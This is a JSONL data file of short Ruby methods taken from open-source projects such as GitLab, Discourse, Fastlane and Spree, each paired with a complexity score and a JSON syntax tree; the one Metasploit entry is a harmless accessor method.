{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/products_controller.rb","start_line":62,"raw_source":"def filters_meta\n            Spree::Api::Products::FiltersPresenter.new(current_store, current_currency, params).to_h\n          end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"filters_meta\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Products\"]},\"FiltersPresenter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_store\"]},{\"type\":\"send\",\"children\":[null,\"current_currency\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"to_h\"]}]}","id":"d3b366d1-432d-4a61-a605-9cbbc3fc8a24"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account.rb","start_line":504,"raw_source":"def trigger_update_webhooks\n    TriggerWebhookWorker.perform_async('account.updated', 'Account', id) if local?\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_update_webhooks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"local?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TriggerWebhookWorker\"]},\"perform_async\",{\"type\":\"str\",\"children\":[\"account.updated\"]},{\"type\":\"str\",\"children\":[\"Account\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},null]}]}","id":"f969771e-db60-4d63-975b-cff581f0180e"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_site_settings.rb","start_line":88,"raw_source":"def save_setting(setting)\n        setting = find_setting(setting) if setting.is_a?(String)\n        setting.find(\".setting-controls button.ok\").click\n        self\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"setting\",{\"type\":\"send\",\"children\":[null,\"find_setting\",{\"type\":\"lvar\",\"children\":[\"setting\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"find\",{\"type\":\"str\",\"children\":[\".setting-controls button.ok\"]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"5170ef98-57ea-42b2-8fc6-b343b3438aa5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/lib/open_project/backlogs/patches/status_patch.rb","start_line":30,"raw_source":"def self.included(base)\n    base.class_eval do\n      include InstanceMethods\n    end\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[null,\"InstanceMethods\"]}]}]}]}","id":"148be208-2fd9-4717-99a7-b87d5787a3ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb","start_line":101,"raw_source":"def base_dir\n    datastore['WritableDir'].to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]},\"to_s\"]}]}","id":"280e89d7-a41b-4915-a22a-7ed663f950c6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":780,"raw_source":"def test_should_set_preload_link_tag_nonce_if_listed_in_csp_directives\n    @request.content_security_policy_nonce_directives = %w(script-src)\n    assert_equal %(<link rel=\"preload\" href=\"/application.js\" as=\"script\" type=\"text/javascript\" nonce=\"iyhD0Yc0W+c=\">), preload_link_tag(\"/application.js\")\n    assert_equal %(<link rel=\"preload\" href=\"/style.css\" as=\"style\" type=\"text/css\">), preload_link_tag(\"/style.css\")\n\n    @request.content_security_policy_nonce_directives = %w(style-src)\n    assert_equal %(<link rel=\"preload\" href=\"/application.js\" as=\"script\" type=\"text/javascript\">), preload_link_tag(\"/application.js\")\n    assert_equal %(<link rel=\"preload\" href=\"/style.css\" as=\"style\" type=\"text/css\" nonce=\"iyhD0Yc0W+c=\">), preload_link_tag(\"/style.css\")\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_set_preload_link_tag_nonce_if_listed_in_csp_directives\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"content_security_policy_nonce_directives=\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"script-src\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<link rel=\\\"preload\\\" href=\\\"/application.js\\\" as=\\\"script\\\" type=\\\"text/javascript\\\" nonce=\\\"iyhD0Yc0W+c=\\\">\"]},{\"type\":\"send\",\"children\":[null,\"preload_link_tag\",{\"type\":\"str\",\"children\":[\"/application.js\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<link rel=\\\"preload\\\" href=\\\"/style.css\\\" as=\\\"style\\\" type=\\\"text/css\\\">\"]},{\"type\":\"send\",\"children\":[null,\"preload_link_tag\",{\"type\":\"str\",\"children\":[\"/style.css\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"content_security_policy_nonce_directives=\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"style-src\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<link rel=\\\"preload\\\" href=\\\"/application.js\\\" as=\\\"script\\\" type=\\\"text/javascript\\\">\"]},{\"type\":\"send\",\"children\":[null,\"preload_link_tag\",{\"type\":\"str\",\"children\":[\"/application.js\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<link rel=\\\"preload\\\" href=\\\"/style.css\\\" as=\\\"style\\\" type=\\\"text/css\\\" nonce=\\\"iyhD0Yc0W+c=\\\">\"]},{\"type\":\"send\",\"children\":[null,\"preload_link_tag\",{\"type\":\"str\",\"children\":[\"/style.css\"]}]}]}]}]}","id":"460c296d-5646-4a5b-9f5d-8f14f162adb7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/user_guardian.rb","start_line":113,"raw_source":"def can_see_suspension_reason?(user)\n    return true unless SiteSetting.hide_suspension_reasons?\n    is_me?(user) || is_staff?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_suspension_reason?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"hide_suspension_reasons?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_me?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"is_staff?\"]}]}]}]}","id":"eba198ff-c521-417a-8914-c02703e1f7f4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query.rb","start_line":266,"raw_source":"def private?\n    !public?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"private?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public?\"]},\"!\"]}]}","id":"6d8f91ee-a35b-43d5-add8-a6d00e97fb4a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/personal_access_tokens_finder.rb","start_line":71,"raw_source":"def by_impersonation(tokens)\n    case @params[:impersonation]\n    when true\n      tokens.with_impersonation\n    when false\n      tokens.without_impersonation\n    else\n      tokens\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"by_impersonation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"impersonation\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"with_impersonation\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"without_impersonation\"]}]},{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]}","id":"6a8fbafc-f808-42c0-8637-446aea8f047b"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/credentials_manager/lib/credentials_manager/appfile_config.rb","start_line":25,"raw_source":"def initialize(path = nil)\n      if path\n        raise \"Could not find Appfile at path '#{path}'\".red unless File.exist?(File.expand_path(path))\n      end\n\n      path ||= self.class.default_path\n\n      if path && File.exist?(path) # it might not exist, we still want to use the default values\n        full_path = File.expand_path(path)\n        Dir.chdir(File.expand_path('..', path)) do\n          content = File.read(full_path, encoding: \"utf-8\")\n\n          # From https://github.com/orta/danger/blob/master/lib/danger/danger_core/dangerfile.rb\n          if content.tr!('“”‘’‛', %(\"\"'''))\n            puts(\"Your #{File.basename(path)} has had smart quotes sanitised. \" \\\n                 'To avoid issues in the future, you should not use ' \\\n                 'TextEdit for editing it. If you are not using TextEdit, ' \\\n                 'you should turn off smart quotes in your editor of choice.'.red)\n          end\n\n          # rubocop:disable Security/Eval\n          eval(content)\n          # rubocop:enable Security/Eval\n\n          print_debug_information(path: full_path) if FastlaneCore::Globals.verbose?\n        end\n      end\n\n      fallback_to_default_values\n    end","complexity_score":43.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find Appfile at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},\"red\"]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"tr!\",{\"type\":\"str\",\"children\":[\"“”‘’‛\"]},{\"type\":\"str\",\"children\":[\"\\\"\\\"'''\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Your \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"str\",\"children\":[\" has had smart quotes sanitised. \"]}]},{\"type\":\"str\",\"children\":[\"To avoid issues in the future, you should not use \"]},{\"type\":\"str\",\"children\":[\"TextEdit for editing it. If you are not using TextEdit, \"]},{\"type\":\"str\",\"children\":[\"you should turn off smart quotes in your editor of choice.\"]}]},\"red\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"eval\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[null,\"print_debug_information\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}]},null]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"fallback_to_default_values\"]}]}]}","id":"e7828e85-558c-4843-8bd0-29cf6239e9d2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable_flagged_post.rb","start_line":264,"raw_source":"def perform_delete_and_ignore_replies(performed_by, args)\n    result = perform_ignore_and_do_nothing(performed_by, args)\n    PostDestroyer.delete_with_replies(performed_by, post, self)\n\n    result\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_delete_and_ignore_replies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"performed_by\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"perform_ignore_and_do_nothing\",{\"type\":\"lvar\",\"children\":[\"performed_by\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostDestroyer\"]},\"delete_with_replies\",{\"type\":\"lvar\",\"children\":[\"performed_by\"]},{\"type\":\"send\",\"children\":[null,\"post\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"5643f6d7-9cdd-4b23-8fa8-5c938ec667e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/projects/pipelines/repository_pipeline.rb","start_line":17,"raw_source":"def load(context, data)\n          url = data['httpUrlToRepo']\n          return unless url.present?\n\n          url = url.sub(\"://\", \"://oauth2:#{context.configuration.access_token}@\")\n          project = context.portable\n\n          Gitlab::HTTP_V2::UrlBlocker.validate!(\n            url,\n            schemes: %w[http https],\n            allow_local_network: allow_local_requests?,\n            allow_localhost: allow_local_requests?,\n            deny_all_requests_except_allowed: Gitlab::CurrentSettings.deny_all_requests_except_allowed?,\n            outbound_local_requests_allowlist: Gitlab::CurrentSettings.outbound_local_requests_whitelist # rubocop:disable Naming/InclusiveLanguage -- existing setting\n          )\n\n          project.ensure_repository\n          project.repository.fetch_as_mirror(url)\n        end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"httpUrlToRepo\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"sub\",{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"://oauth2:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"configuration\"]},\"access_token\"]}]},{\"type\":\"str\",\"children\":[\"@\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"portable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP_V2\"]},\"UrlBlocker\"]},\"validate!\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schemes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"http\"]},{\"type\":\"str\",\"children\":[\"https\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_local_network\"]},{\"type\":\"send\",\"children\":[null,\"allow_local_requests?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_localhost\"]},{\"type\":\"send\",\"children\":[null,\"allow_local_requests?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deny_all_requests_except_allowed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"deny_all_requests_except_allowed?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"outbound_local_requests_allowlist\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"outbound_local_requests_whitelist\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"ensure_repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"fetch_as_mirror\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}","id":"5b2965bc-0263-4004-a64f-8be7e07557ab"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/localizer.rb","start_line":3,"raw_source":"def human_event_name(klass, event)\n      checklist = ancestors_list(klass).inject([]) do |list, ancestor|\n        list << :\"#{i18n_scope(klass)}.events.#{i18n_klass(ancestor)}.#{event}\"\n        list\n      end\n      translate_queue(checklist) || I18n.translate(checklist.shift, :default => default_display_name(event))\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"human_event_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checklist\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ancestors_list\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},\"inject\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]},{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"<<\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n_scope\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},{\"type\":\"str\",\"children\":[\".events.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n_klass\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"translate_queue\",{\"type\":\"lvar\",\"children\":[\"checklist\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"translate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checklist\"]},\"shift\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[null,\"default_display_name\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]}]}]}]}","id":"b31c3dc5-6a3b-460a-9714-07b999e9d031"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app.rb","start_line":429,"raw_source":"def get_ready_review_submission(client: nil, platform:, includes: nil)\n        client ||= Spaceship::ConnectAPI\n        filter = {\n          state: [\n            Spaceship::ConnectAPI::ReviewSubmission::ReviewSubmissionState::READY_FOR_REVIEW\n          ].join(\",\"),\n          platform: platform\n        }\n\n        return get_review_submissions(client: client, filter: filter, includes: includes).first\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_ready_review_submission\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwarg\",\"children\":[\"platform\"]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"ReviewSubmission\"]},\"ReviewSubmissionState\"]},\"READY_FOR_REVIEW\"]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_review_submissions\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]}]}]},\"first\"]}]}]}]}","id":"efc31bfd-bb93-4b22-b6d0-38895d01e0f2"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/preferences/preferable.rb","start_line":99,"raw_source":"def preferences_of_type(type)\n    defined_preferences.find_all { |preference| preference_type(preference) == type.to_sym }\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"preferences_of_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defined_preferences\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preference\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preference_type\",{\"type\":\"lvar\",\"children\":[\"preference\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]}]}]}","id":"32137448-8942-454d-96cf-aead83429d8f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/audit_event_service.rb","start_line":88,"raw_source":"def base_payload\n    {\n      author_id: @author.id,\n      author_name: @author.name,\n      entity_id: @entity.id,\n      entity_type: @entity.class.name,\n      created_at: @created_at\n    }\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"base_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entity\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entity\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"ivar\",\"children\":[\"@created_at\"]}]}]}]}","id":"f1fdf6d4-5c20-4611-b551-1b998f9f909d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/generated_definitions/rs_la.rb","start_line":13,"raw_source":"def self.holidays_by_month\n      {\n                0 => [{:function => \"orthodox_easter(year)\", :function_arguments => [:year], :function_modifier => -2, :name => \"Veliki Petak\", :regions => [:rs_la]},\n            {:function => \"orthodox_easter(year)\", :function_arguments => [:year], :function_modifier => -1, :name => \"Velika Subota\", :regions => [:rs_la]},\n            {:function => \"orthodox_easter(year)\", :function_arguments => [:year], :name => \"Uskrs\", :regions => [:rs_la]},\n            {:function => \"orthodox_easter(year)\", :function_arguments => [:year], :function_modifier => 1, :name => \"Vaskrsni ponedeljak\", :regions => [:rs_la]}],\n      1 => [{:mday => 1, :name => \"Nova Godina\", :regions => [:rs_la]},\n            {:mday => 2, :name => \"Nova Godina\", :regions => [:rs_la]},\n            {:mday => 7, :name => \"Božić\", :regions => [:rs_la]},\n            {:mday => 27, :name => \"Dan Svetog Save\", :regions => [:rs_la]}],\n      2 => [{:mday => 15, :name => \"Dan državnosti Srbije\", :regions => [:rs_la]},\n            {:mday => 16, :name => \"Dan državnosti Srbije\", :regions => [:rs_la]}],\n      5 => [{:mday => 1, :name => \"Praznik rada\", :regions => [:rs_la]},\n            {:mday => 2, :name => \"Praznik rada\", :regions => [:rs_la]},\n            {:mday => 9, :name => \"Dan pobede\", :regions => [:rs_la]}],\n      6 => [{:mday => 28, :name => \"Vidovdan\", :regions => [:rs_la]}],\n      11 => [{:mday => 11, :name => \"Dan primirja\", :regions => [:rs_la]}]\n      }\n    